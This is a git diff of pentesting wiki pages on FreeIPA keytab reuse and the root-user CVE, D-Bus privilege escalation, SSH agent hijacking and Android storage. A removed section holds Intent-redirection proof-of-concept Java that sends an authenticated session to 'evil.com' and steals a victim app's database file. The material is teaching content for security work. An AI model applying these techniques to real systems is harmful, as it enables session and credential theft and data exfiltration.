Parsing a Keytab file is very easy, and can be accomplished a few ways. The easiest way to **parse** a **keytab** file is with **klist**. The second way utilizes a great python utility that [Cody Thomas](https://medium.com/u/645ffcef8682?source=post\_page-----77e73d837d6a--------------------------------) has created. His \*\*\*\* [**KeytabParser**](https://github.com/its-a-feature/KeytabParser) \*\*\*\* project will parse out the principal and its relevant encrypted keys.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (200).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Attackers can **re-use credentials stored in keytab files by generating a CCACHE Ticket** through the kinit binary.
|
||||
|
||||
```powershell
|
||||
# Parse keytab
|
||||
klist -k /rtc/krb5.keytab
|
||||
|
||||
# Get TGT
|
||||
kinit -kt /etc/krb5.keytab host/bastion.westeros.local@WESTEROS.LOCAL
|
||||
```
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (205).png" alt=""><figcaption></figcaption></figure>
|
||||
Keytab files, containing Kerberos principals and encrypted keys, are critical for obtaining valid ticket granting tickets (TGT) without needing the principal's password. Parsing and re-using credentials from keytab files can be easily performed with utilities like `klist` and scripts such as **KeytabParser**.
|
||||
|
||||
### Cheatsheet
|
||||
|
||||
|
@ -144,7 +65,6 @@ You can find more information about how to use tickets in linux in the following
|
|||
You could perform the **enumeration** via **ldap** and other **binary** tools, or **connecting to the web page in the port 443 of the FreeIPA server**.
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (184).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Hosts, Users, and Groups <a href="#4b3b" id="4b3b"></a>
|
||||
|
||||
|
@ -228,7 +148,7 @@ ipa hbacrule-show <hbacrule> --all
|
|||
|
||||
#### Sudo-Rules
|
||||
|
||||
FreeIPA provides the ability to **manage sudo permissions** from one **centralized** source through sudo-rules. These rulesets can be used to restrict or delegate the ability to **execute commands as sudo** on hosts enrolled in the domain. As an attacker we can enumerate which hosts and users these rulesets are applied too, and which commands are allowed through the ruleset.
|
||||
FreeIPA enables centralized control over **sudo permissions** via sudo-rules. These rules allow or limit the execution of commands with sudo on hosts within the domain. An attacker could potentially identify the applicable hosts, users, and allowed commands by examining these rulesets.
|
||||
|
||||
```bash
|
||||
# Enumerate using ldap
|
||||
|
@ -241,21 +161,15 @@ ipa sudorule-show <sudorule> --all
|
|||
|
||||
### Role-Based Access Control
|
||||
|
||||
Each **role** contains a set of **privileges**, and those respective privileges contain a **set** of **permissions**. Roles can be **applied to Users**, User **Groups**, **Hosts**, Host Groups, and Services. To illustrate this concept let’s discuss the default “User Administrator” role in FreeIPA.
|
||||
A **role** is comprised of various **privileges**, each of which encompasses a collection of **permissions**. These roles can be assigned to Users, User **Groups**, **Hosts**, Host Groups, and Services. For instance, consider the default “User Administrator” role in FreeIPA to exemplify this structure.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (161).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As the screenshot above shows the “User Administrator” role contains the following privileges:
|
||||
The role `User Administrator` has these privileges:
|
||||
|
||||
* **User Administrators**
|
||||
* **Group Administrators**
|
||||
* **Stage User Administrators**
|
||||
|
||||
We can drill down further and enumerate the **permissions** delegated to each **privilege**:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (189).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As we can see the “**User Administrator**” role contains quite **a lot of permissions** inside of the environment. Understanding the general concept and structure of **roles**, **privileges**, and **permissions** can be critical to identifying attack paths throughout an environment.
|
||||
With the following commands it's possibel to enumerate the roles, privileges and permissions:
|
||||
|
||||
```bash
|
||||
# Using ldap
|
||||
|
@ -288,25 +202,13 @@ If you can **create a new user with the name `root`**, you can impersonate him a
|
|||
**THIS HAS BEEN PATCHED.**
|
||||
{% endhint %}
|
||||
|
||||
The "**User Administrators**" privilege, is very powerful (as its name indicates it):
|
||||
You can check a detailed explaination in [https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b](https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (182).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
With this privilege comes a lot of different power to affect users inside the environment. Using this privilege we can **make a new user inside the FreeIPA domain named \_root**.\_
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (158).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Once the user is created in the domain we can **obtain a ticket for the account with \_kinit**\_.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (178).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Now we can attempt to **SSH** using our newly created root domain account.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (176).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As shown this **drops the user into the local root account**! So simply by creating a domain user for a local user we were able to authenticate using the _root@WESTEROS.LOCAL_ account and obtain the **user context of the local root account**_._
|
||||
|
||||
_For more details about this vuln check_ [_https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b_](https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b)\\
|
||||
# References
|
||||
* [https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b](https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b)
|
||||
* [https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a](https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a)
|
||||
* [https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1](https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1)
|
||||
* [https://www.youtube.com/watch?v=9dOu-7BTwPQ](https://www.youtube.com/watch?v=9dOu-7BTwPQ)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -69,13 +69,6 @@ cat /proc/`python -c "import os; print(os.getppid())"`/environ
|
|||
export $TEST
|
||||
```
|
||||
|
||||
#### **Files that affect behavior for only a specific user:**
|
||||
|
||||
* _**\~/.bashrc**_: This file behaves the same way _/etc/bash.bashrc_ file works but it is executed only for a specific user. If you want to create an environment for yourself go ahead and modify or create this file in your home directory.
|
||||
* _**\~/.profile, \~/.bash\_profile, \~/.bash\_login**_: These files are same as _/etc/profile_. The difference comes in the way it is executed. This file is executed only when a user in whose home directory this file exists, logs in.
|
||||
|
||||
**Extracted from:** [**here**](https://codeburst.io/linux-environment-variables-53cea0245dc9) **and** [**here**](https://www.gnu.org/software/bash/manual/html\_node/Bash-Startup-Files.html)
|
||||
|
||||
## Common variables
|
||||
|
||||
From: [https://geek-university.com/linux/common-environment-variables/](https://geek-university.com/linux/common-environment-variables/)
|
||||
|
@ -138,7 +131,7 @@ export SSL_CERT_DIR=/path/to/ca-certificates
|
|||
|
||||
Change how your prompt looks.
|
||||
|
||||
I have created [**this one**](https://gist.github.com/carlospolop/43f7cd50f3deea972439af3222b68808) (based on another, read the code).
|
||||
[**This is an example**](https://gist.github.com/carlospolop/43f7cd50f3deea972439af3222b68808)
|
||||
|
||||
Root:
|
||||
|
||||
|
|
|
@ -16,41 +16,28 @@ Other ways to support HackTricks:
|
|||
|
||||
## **GUI enumeration**
|
||||
|
||||
**(This enumeration info was taken from** [**https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/**](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/)**)**
|
||||
D-Bus is utilized as the inter-process communications (IPC) mediator in Ubuntu desktop environments. On Ubuntu, the concurrent operation of several message buses is observed: the system bus, primarily utilized by **privileged services to expose services relevant across the system**, and a session bus for each logged-in user, exposing services relevant only to that specific user. The focus here is primarily on the system bus due to its association with services running at higher privileges (e.g., root) as our objective is to elevate privileges. It is noted that D-Bus's architecture employs a 'router' per session bus, which is responsible for redirecting client messages to the appropriate services based on the address specified by the clients for the service they wish to communicate with.
|
||||
|
||||
Ubuntu desktop utilizes D-Bus as its inter-process communications (IPC) mediator. On Ubuntu, there are several message buses that run concurrently: A system bus, which is mainly used by **privileged services to expose system-wide relevant services**, and one session bus for each logged in user, which exposes services that are only relevant to that specific user. Since we will try to elevate our privileges, we will mainly focus on the system bus as the services there tend to run with higher privileges (i.e. root). Note that the D-Bus architecture utilizes one ‘router’ per session bus, which redirects client messages to the relevant services they are trying to interact with. Clients need to specify the address of the service to which they want to send messages.
|
||||
Services on D-Bus are defined by the **objects** and **interfaces** they expose. Objects can be likened to class instances in standard OOP languages, with each instance uniquely identified by an **object path**. This path, akin to a filesystem path, uniquely identifies each object exposed by the service. A key interface for research purposes is the **org.freedesktop.DBus.Introspectable** interface, featuring a singular method, Introspect. This method returns an XML representation of the object's supported methods, signals, and properties, with a focus here on methods while omitting properties and signals.
|
||||
|
||||
Each service is defined by the **objects** and **interfaces** that it exposes. We can think of objects as instances of classes in standard OOP languages. Each unique instance is identified by its **object path** – a string which resembles a file system path that uniquely identifies each object that the service exposes. A standard interface that will help with our research is the **org.freedesktop.DBus.Introspectable** interface. It contains a single method, Introspect, which returns an XML representation of the methods, signals and properties supported by the object. This blog post focuses on methods and ignores properties and signals.
|
||||
|
||||
I used two tools to communicate with the D-Bus interface: CLI tool named **gdbus**, which allows to easily call D-Bus exposed methods in scripts, and [**D-Feet**](https://wiki.gnome.org/Apps/DFeet), a Python based GUI tool that helps to enumerate the available services on each bus and to see which objects each service contains.
|
||||
For communication with the D-Bus interface, two tools were employed: a CLI tool named **gdbus** for easy invocation of methods exposed by D-Bus in scripts, and [**D-Feet**](https://wiki.gnome.org/Apps/DFeet), a Python-based GUI tool designed to enumerate the services available on each bus and to display the objects contained within each service.
|
||||
|
||||
```bash
|
||||
sudo apt-get install d-feet
|
||||
```
|
||||
|
||||
![](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-21.png)
|
||||
![https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-21.png](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-21.png)
|
||||
|
||||
_Figure 1. D-Feet main window_
|
||||
![https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-22.png](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-22.png)
|
||||
|
||||
![](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-22.png)
|
||||
|
||||
_Figure 2. D-Feet interface window_
|
||||
In the first image services registered with the D-Bus system bus are shown, with **org.debin.apt** specifically highlighted after selecting the System Bus button. D-Feet queries this service for objects, displaying interfaces, methods, properties, and signals for chosen objects, seen in the second image. Each method's signature is also detailed.
|
||||
|
||||
On the left pane in Figure 1 you can see all the various services that have registered with the D-Bus daemon system bus (note the select System Bus button on the top). I selected the **org.debin.apt** service, and D-Feet automatically **queried the service for all the available objects**. Once I selected a specific object, the set of all interfaces, with their respective methods properties and signals are listed, as seen in Figure 2. Note that we also get the signature of each **IPC exposed method**.
|
||||
A notable feature is the display of the service's **process ID (pid)** and **command line**, useful for confirming if the service runs with elevated privileges, important for research relevance.
|
||||
|
||||
We can also see the **pid of the process** that hosts each service, as well as its **command line**. This is a very useful feature, since we can validate that the target service we are inspecting indeed runs with higher privileges. Some services on the System bus don’t run as root, and thus are less interesting to research.
|
||||
**D-Feet also allows method invocation**: users can input Python expressions as parameters, which D-Feet converts to D-Bus types before passing to the service.
|
||||
|
||||
D-Feet also allows one to call the various methods. In the method input screen we can specify a list of Python expressions, delimited by commas, to be interpreted as the parameters to the invoked function, shown in Figure 3. Python types are marshaled to D-Bus types and passed to the service.
|
||||
|
||||
![](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-23.png)
|
||||
|
||||
_Figure 3. Calling D-Bus Methods through D-Feet_
|
||||
|
||||
Some methods require authentication before allowing us to invoke them. We will ignore these methods, since our goal is to elevate our privileges without credentials in the first place.
|
||||
|
||||
![](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-24.png)
|
||||
|
||||
_Figure 4. A method that requires authorization_
|
||||
However, note that **some methods require authentication** before allowing us to invoke them. We will ignore these methods, since our goal is to elevate our privileges without credentials in the first place.
|
||||
|
||||
Also note that some of the services query another D-Bus service named org.freedeskto.PolicyKit1 whether a user should be allowed to perform certain actions or not.
|
||||
|
||||
|
@ -86,7 +73,7 @@ org.freedesktop.locale1 - - - (act
|
|||
|
||||
#### Connections
|
||||
|
||||
When a process sets up a connection to a bus, the bus assigns to the connection a special bus name called _unique connection name_. Bus names of this type are immutable—it's guaranteed they won't change as long as the connection exists—and, more importantly, they can't be reused during the bus lifetime. This means that no other connection to that bus will ever have assigned such unique connection name, even if the same process closes down the connection to the bus and creates a new one. Unique connection names are easily recognizable because they start with the—otherwise forbidden—colon character.
|
||||
[From wikipedia:](https://en.wikipedia.org/wiki/D-Bus) When a process sets up a connection to a bus, the bus assigns to the connection a special bus name called _unique connection name_. Bus names of this type are immutable—it's guaranteed they won't change as long as the connection exists—and, more importantly, they can't be reused during the bus lifetime. This means that no other connection to that bus will ever have assigned such unique connection name, even if the same process closes down the connection to the bus and creates a new one. Unique connection names are easily recognizable because they start with the—otherwise forbidden—colon character.
|
||||
|
||||
### Service Object Info
|
||||
|
||||
|
@ -251,13 +238,13 @@ See the [D-Bus documentation](http://dbus.freedesktop.org/doc/dbus-specification
|
|||
|
||||
### More
|
||||
|
||||
`busctl` have even more options, [**find all of them here**](https://www.freedesktop.org/software/systemd/man/busctl.html).
|
||||
`busctl` has even more options, [**find all of them here**](https://www.freedesktop.org/software/systemd/man/busctl.html).
|
||||
|
||||
## **Vulnerable Scenario**
|
||||
|
||||
As user **qtc inside the host "oouch" from HTB** you can find an **unexpected D-Bus config file** located in _/etc/dbus-1/system.d/htb.oouch.Block.conf_:
|
||||
|
||||
```markup
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?> <!-- -*- XML -*- -->
|
||||
|
||||
<!DOCTYPE busconfig PUBLIC
|
||||
|
@ -284,14 +271,14 @@ As user **qtc** inside the docker container **aeb4525789d8** you can find some d
|
|||
|
||||
```python
|
||||
if primitive_xss.search(form.textfield.data):
|
||||
bus = dbus.SystemBus()
|
||||
block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
|
||||
block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')
|
||||
bus = dbus.SystemBus()
|
||||
block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
|
||||
block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')
|
||||
|
||||
client_ip = request.environ.get('REMOTE_ADDR', request.remote_addr)
|
||||
response = block_iface.Block(client_ip)
|
||||
bus.close()
|
||||
return render_template('hacker.html', title='Hacker')
|
||||
client_ip = request.environ.get('REMOTE_ADDR', request.remote_addr)
|
||||
response = block_iface.Block(client_ip)
|
||||
bus.close()
|
||||
return render_template('hacker.html', title='Hacker')
|
||||
```
|
||||
|
||||
As you can see, it is **connecting to a D-Bus interface** and sending to the **"Block" function** the "client\_ip".
|
||||
|
@ -493,6 +480,9 @@ finish:
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
# References
|
||||
* [https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
|
|
@ -41,7 +41,7 @@ Another option, is that the user owner of the agent and root may be able to acce
|
|||
|
||||
# Long explanation and exploitation
|
||||
|
||||
**Taken from:** [**https://www.clockwork.com/news/2012/09/28/602/ssh\_agent\_hijacking/**](https://www.clockwork.com/news/2012/09/28/602/ssh\_agent\_hijacking/)
|
||||
**Serve this post as wayback machine of the now deleted post from:** [**https://www.clockwork.com/news/2012/09/28/602/ssh\_agent\_hijacking/**](https://www.clockwork.com/news/2012/09/28/602/ssh\_agent\_hijacking/)
|
||||
|
||||
## **When ForwardAgent Can’t Be Trusted**
|
||||
|
||||
|
|
|
@ -128,15 +128,31 @@ More info in:
|
|||
|
||||
**Internal Storage**
|
||||
|
||||
Files **created** on **internal** storage are **accessible** only by the **app**. This protection is implemented by Android and is sufficient for most applications. But developers often use `MODE_WORLD_READBALE` & `MODE_WORLD_WRITABLE` to give access to those files to a different application, but this doesn’t limit other apps(malicious) from accessing them.\
|
||||
During the **static** analysis **check** for the use of those **modes**, during the **dynamic** analysis **check** the **permissions** of the files created (maybe some of them are worldwide readable/writable).\
|
||||
[More information about this vulnerability and how to fix it here.](https://manifestsecurity.com/android-application-security-part-8/)
|
||||
In Android, files **stored** in **internal** storage are **designed** to be **accessible** exclusively by the **app** that **created** them. This security measure is **enforced** by the Android operating system and is generally adequate for the security needs of most applications. However, developers sometimes utilize modes such as `MODE_WORLD_READABLE` and `MODE_WORLD_WRITABLE` to **allow** files to be **shared** between different applications. Yet, these modes **do not restrict access** to these files by other applications, including potentially malicious ones.
|
||||
|
||||
1. **Static Analysis:**
|
||||
- **Ensure** that the use of `MODE_WORLD_READABLE` and `MODE_WORLD_WRITABLE` is **carefully scrutinized**. These modes **can potentially expose** files to **unintended or unauthorized access**.
|
||||
|
||||
2. **Dynamic Analysis:**
|
||||
- **Verify** the **permissions** set on files created by the app. Specifically, **check** if any files are **set to be readable or writable worldwide**. This can pose a significant security risk, as it would allow **any application** installed on the device, regardless of its origin or intent, to **read or modify** these files.
|
||||
|
||||
**External Storage**
|
||||
|
||||
Files created on **external storage**, such as SD Cards, are **globally readable and writable**. Because external storage can be removed by the user and also modified by any application, you should **not store sensitive information using external storage**.\
|
||||
As with data from any untrusted source, you should **perform input validation** when handling **data from external storage**. We strongly recommend that you not store executables or class files on external storage prior to dynamic loading. If your app does retrieve executable files from external storage, the files should be signed and cryptographically verified prior to dynamic loading.\
|
||||
Info taken from [here](https://manifestsecurity.com/android-application-security-part-8/).
|
||||
### Guidelines for Managing Files on External Storage
|
||||
|
||||
When dealing with files on **external storage**, such as SD Cards, certain precautions should be taken:
|
||||
|
||||
1. **Accessibility**:
|
||||
- Files on external storage are **globally readable and writable**. This means any application or user can access these files.
|
||||
|
||||
2. **Security Concerns**:
|
||||
- Given the ease of access, it's advised **not to store sensitive information** on external storage.
|
||||
- External storage can be removed or accessed by any application, making it less secure.
|
||||
|
||||
3. **Handling Data from External Storage**:
|
||||
- Always **perform input validation** on data retrieved from external storage. This is crucial because the data is from an untrusted source.
|
||||
- Storing executables or class files on external storage for dynamic loading is strongly discouraged.
|
||||
- If your application must retrieve executable files from external storage, ensure these files are **signed and cryptographically verified** before they are dynamically loaded. This step is vital for maintaining the security integrity of your application.
|
||||
|
||||
External storage can be **accessed** in `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard`
|
||||
|
||||
|
|
|
@ -15,282 +15,7 @@ Other ways to support HackTricks:
|
|||
</details>
|
||||
|
||||
|
||||
**Research taken from** [**https://blog.oversecured.com/Android-Access-to-app-protected-components/**](https://blog.oversecured.com/Android-Access-to-app-protected-components/)
|
||||
|
||||
# Introduction
|
||||
|
||||
This vulnerability resembles **Open Redirect in web security**. Since class `Intent` is `Parcelable`, **objects belonging to this class** can be **passed** as **extra** **data** in another `Intent` object. \
|
||||
Many developers make **use** of this **feature** and create **proxy** **components** (activities, broadcast receivers and services) that **take an embedded Intent and pass it to dangerous methods** like `startActivity(...)`, `sendBroadcast(...)`, etc. \
|
||||
This is dangerous because **an attacker can force the app to launch a non-exported component that cannot be launched directly from another app**, or to grant the attacker access to its content providers. **`WebView`** also sometimes changes a **URL from a string to an `Intent`** object, using the `Intent.parseUri(...)` method, and passes it to `startActivity(...)`.
|
||||
|
||||
{% hint style="info" %}
|
||||
As summary: If an attacker can send an Intent that is being insecurely executed he can potentially access not exported components and abuse them.
|
||||
{% endhint %}
|
||||
|
||||
# A typical case
|
||||
|
||||
Let us examine an example. Fragment of the `AndroidManifest.xml` file
|
||||
|
||||
```markup
|
||||
<activity android:name=".ProxyActivity" android:exported="true" />
|
||||
<activity android:name=".AuthWebViewActivity" android:exported="false" />
|
||||
```
|
||||
|
||||
Activity `ProxyActivity`
|
||||
|
||||
```java
|
||||
startActivity((Intent) getIntent().getParcelableExtra("extra_intent"));
|
||||
```
|
||||
|
||||
Activity `AuthWebViewActivity`
|
||||
|
||||
```java
|
||||
webView.loadUrl(getIntent().getStringExtra("url"), getAuthHeaders());
|
||||
```
|
||||
|
||||
`AuthWebViewActivity` is an example of **hidden app functionality that performs certain unsafe actions**, in this case passing the user’s authentication session to a URL obtained from the `url` parameter.
|
||||
|
||||
Export restrictions mean **the attacker cannot access `AuthWebViewActivity` directly**. A direct call
|
||||
|
||||
```java
|
||||
Intent intent = new Intent();
|
||||
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
|
||||
intent.putExtra("url", "http://evil.com/");
|
||||
startActivity(intent);
|
||||
```
|
||||
|
||||
throws a `java.lang.SecurityException`, due to `Permission Denial`: `AuthWebViewActivity not exported from uid 1337`.
|
||||
|
||||
But the attacker can f**orce the victim to launch `AuthWebViewActivity` itself**:
|
||||
|
||||
```java
|
||||
Intent extra = new Intent();
|
||||
extra.setClassName("com.victim", "com.victim.AuthWebViewActivity");
|
||||
extra.putExtra("url", "http://evil.com/");
|
||||
|
||||
Intent intent = new Intent();
|
||||
intent.setClassName("com.victim", "com.victim.ProxyActivity");
|
||||
intent.putExtra("extra_intent", extra);
|
||||
startActivity(intent);
|
||||
```
|
||||
|
||||
and no security violation will arise, because t**he app that is under attack does have access to all its own components**. Using this code fragment, the attacker can bypass the Android system’s built-in restrictions.
|
||||
|
||||
# Escalation of Impact
|
||||
|
||||
In order to escalate the impact of this vulnerability you need to **find other vulns/missconfigurations that could allow to increate the impact of the vulnerability** (as the vulnerability by it's own isn't creating any risks).
|
||||
|
||||
## Escalation of attacks via Content Providers
|
||||
|
||||
Besides access to arbitrary components of the original app, the **attacker can attempt to gain access to those of the vulnerable app’s Content Providers** that satisfy the following conditions:
|
||||
|
||||
* it must be **non-exported** (otherwise it **could be attacked directly**, without using the vulnerability we are discussing in this article)
|
||||
* it must have the **`android:grantUriPermissions`** flag set to **`true`**.
|
||||
* `android:grantUriPermissions="true"` indicates that your Java code can use `FLAG_GRANT_READ_URI_PERMISSION` and `FLAG_GRANT_WRITE_URI_PERMISSION` for **any `Uri` served by that `ContentProvider`**.
|
||||
* `android:grantUriPermissions="false"` indicates that **only the `Uri` values specified by child `<grant-uri-permission>`** elements can be used with `FLAG_GRANT_READ_URI_PERMISSION` and `FLAG_GRANT_WRITE_URI_PERMISSION`.
|
||||
|
||||
The attacker must set itself as the recipient of an embedded intent and set the following flags
|
||||
|
||||
* `Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION` permits persistent access to the provider (without this flag, the access is one-time only)
|
||||
* `Intent.FLAG_GRANT_PREFIX_URI_PERMISSION` permits URI access by prefix – for example, instead of repeatedly obtaining separate access using a complete path such as `content://com.victim.provider/image/1` the attacker can grant access to all the provider’s content using the URI `content://com.victim.provider/` and then use `ContentResolver` to address `content://com.victim.provider/image/1`, `content://com.victim.provider/image/2`, etc.
|
||||
* `Intent.FLAG_GRANT_READ_URI_PERMISSION` permits read operations on the provider (such as `query`, `openFile`, `openAssetFile`)
|
||||
* `Intent.FLAG_GRANT_WRITE_URI_PERMISSION` permits write operations
|
||||
|
||||
An example of a typical provider where an attacker can gain access to it and perform regular operations like `query`, `update`, `insert`, `delete`, `openFile`, `openAssetFile`
|
||||
|
||||
```markup
|
||||
<provider android:name="com.victim.ContentProvider" android:exported="false" android:authorities="com.victim.provider" android:grantUriPermissions="true"/>
|
||||
```
|
||||
|
||||
Example of the theft of user pictures `AndroidManifest.xml` file
|
||||
|
||||
```markup
|
||||
<activity android:name=".LeakActivity" android:exported="true" />
|
||||
```
|
||||
|
||||
`MainActivity.java` file
|
||||
|
||||
```java
|
||||
Intent extra = new Intent();
|
||||
extra.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
|
||||
| Intent.FLAG_GRANT_PREFIX_URI_PERMISSION
|
||||
| Intent.FLAG_GRANT_READ_URI_PERMISSION
|
||||
| Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
|
||||
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
|
||||
extra.setData(Uri.parse("content://com.victim.provider/"));
|
||||
|
||||
Intent intent = new Intent();
|
||||
intent.setClassName("com.victim", "com.victim.ProxyActivity");
|
||||
intent.putExtra("extra_intent", extra);
|
||||
startActivity(intent);
|
||||
```
|
||||
|
||||
`LeakActivity.java`
|
||||
|
||||
```java
|
||||
Uri uri = Uri.parse(getIntent().getDataString() + "image/1")); // content://com.victim.provider/image/1
|
||||
Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(uri)); // stolen image
|
||||
```
|
||||
|
||||
## Attacks on Android File Provider
|
||||
|
||||
This vulnerability also makes it possible for the attacker to **steal app files** located in directories that the developer predetermined. For a successful attack, the malign app needs to **obtain access rights to Android File Provider and then read content from the file provider using Android ContentResolver**.
|
||||
|
||||
Example file provider (for more details see [https://developer.android.com/reference/android/support/v4/content/FileProvider](https://developer.android.com/reference/android/support/v4/content/FileProvider))
|
||||
|
||||
```markup
|
||||
<provider android:name="androidx.core.content.FileProvider" android:exported="false" android:authorities="com.victim.files_provider" android:grantUriPermissions="true">
|
||||
<meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/provider_paths"/>
|
||||
</provider>
|
||||
```
|
||||
|
||||
It provides read/write access to files on a special list that can be found in the app resources, in this case at `res/xml/provider_paths.xml`
|
||||
|
||||
It may look somewhat like
|
||||
|
||||
```markup
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<paths>
|
||||
<root-path name="root" path=""/>
|
||||
<files-path name="internal_files" path="."/>
|
||||
<cache-path name="cache" path=""/>
|
||||
<external-path name="external_files" path="images"/>
|
||||
</paths>
|
||||
```
|
||||
|
||||
Each tag specifies a root directory with a `path` value relative to the root. For instance, the value `external_files` will correspond to `new File(Environment.getExternalStorageDirectory(), "images")`
|
||||
|
||||
The value `root-path` corresponds to `/`, i.e. provides access to arbitrary files.
|
||||
|
||||
Let us say we have some secret data stored in the file `/data/data/com.victim/databases/secret.db`: the theft of this file may look something like this `MainActivity.java`
|
||||
|
||||
```java
|
||||
Intent extra = new Intent();
|
||||
extra.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
|
||||
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
|
||||
extra.setData(Uri.parse("content://com.victim.files_provider/root/data/data/com.victim/databases/secret.db"));
|
||||
|
||||
Intent intent = new Intent();
|
||||
intent.setClassName("com.victim", "com.victim.ProxyActivity");
|
||||
intent.putExtra("extra_intent", extra);
|
||||
startActivity(intent);
|
||||
```
|
||||
|
||||
`LeakActivity.java`
|
||||
|
||||
```java
|
||||
InputStream i = getContentResolver().openInputStream(getIntent().getData()); // we can now do whatever we like with this stream, e.g. send it to a remote server
|
||||
```
|
||||
|
||||
## Access to arbitrary components via WebView
|
||||
|
||||
An Intent object can be cast to a string with a call to `Intent.toUri(flags)` and back from a string to an Intent using `Intent.parseUri(stringUri, flags)`. This functionality is often used in WebView (the app’s built-in browser): the **app can verify an `intent://` scheme, parse the URL into an Intent and launch the activity**.
|
||||
|
||||
**This vulnerability can be exploited both via other vulnerabilities** (e.g. the ability to open arbitrary links in-app in WebView directly via exported activities or by way of the deeplink mechanism) in the client app and also remotely, including cross-site scripting on the server side or MitM on the client side
|
||||
|
||||
Example of vulnerable code
|
||||
|
||||
```java
|
||||
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
|
||||
Uri uri = request.getUrl();
|
||||
if("intent".equals(uri.getScheme())) {
|
||||
startActivity(Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME));
|
||||
return true;
|
||||
}
|
||||
return super.shouldOverrideUrlLoading(view, request);
|
||||
}
|
||||
```
|
||||
|
||||
The point here is that the `shouldOverrideUrlLoading(...)` method of class `WebViewClient` is called each time WebView tries to load a new link, but gives the app the option of adding a custom handler.
|
||||
|
||||
To exploit this vulnerability the attacker needs to create a WebView redirect to a specially prepared intent-scheme URL. Example of URL creation
|
||||
|
||||
```java
|
||||
Intent intent = new Intent();
|
||||
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
|
||||
intent.putExtra("url", "http://evil.com/");
|
||||
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // outputs "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end"
|
||||
```
|
||||
|
||||
Example attack
|
||||
|
||||
```java
|
||||
location.href = "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end";
|
||||
```
|
||||
|
||||
This version contains **several restrictions compared to the classic versio**n of the vulnerability:
|
||||
|
||||
* Embedded `Parcelable` and `Serializable` objects cannot be cast to string (they will be ignored)
|
||||
* The insecure flags `Intent.FLAG_GRANT_READ_URI_PERMISSION` and `Intent.FLAG_GRANT_WRITE_URI_PERMISSION` are **ignored** when `Intent.parseUri(...)` is called. The parser will only leave them if the `Intent.URI_ALLOW_UNSAFE` (`startActivity(Intent.parseUri(url, Intent.URI_INTENT_SCHEME | Intent.URI_ALLOW_UNSAFE))` flag is set, which is very rare
|
||||
|
||||
Many developers still forget to carry out a complete filtering of intents received via WebView
|
||||
|
||||
```java
|
||||
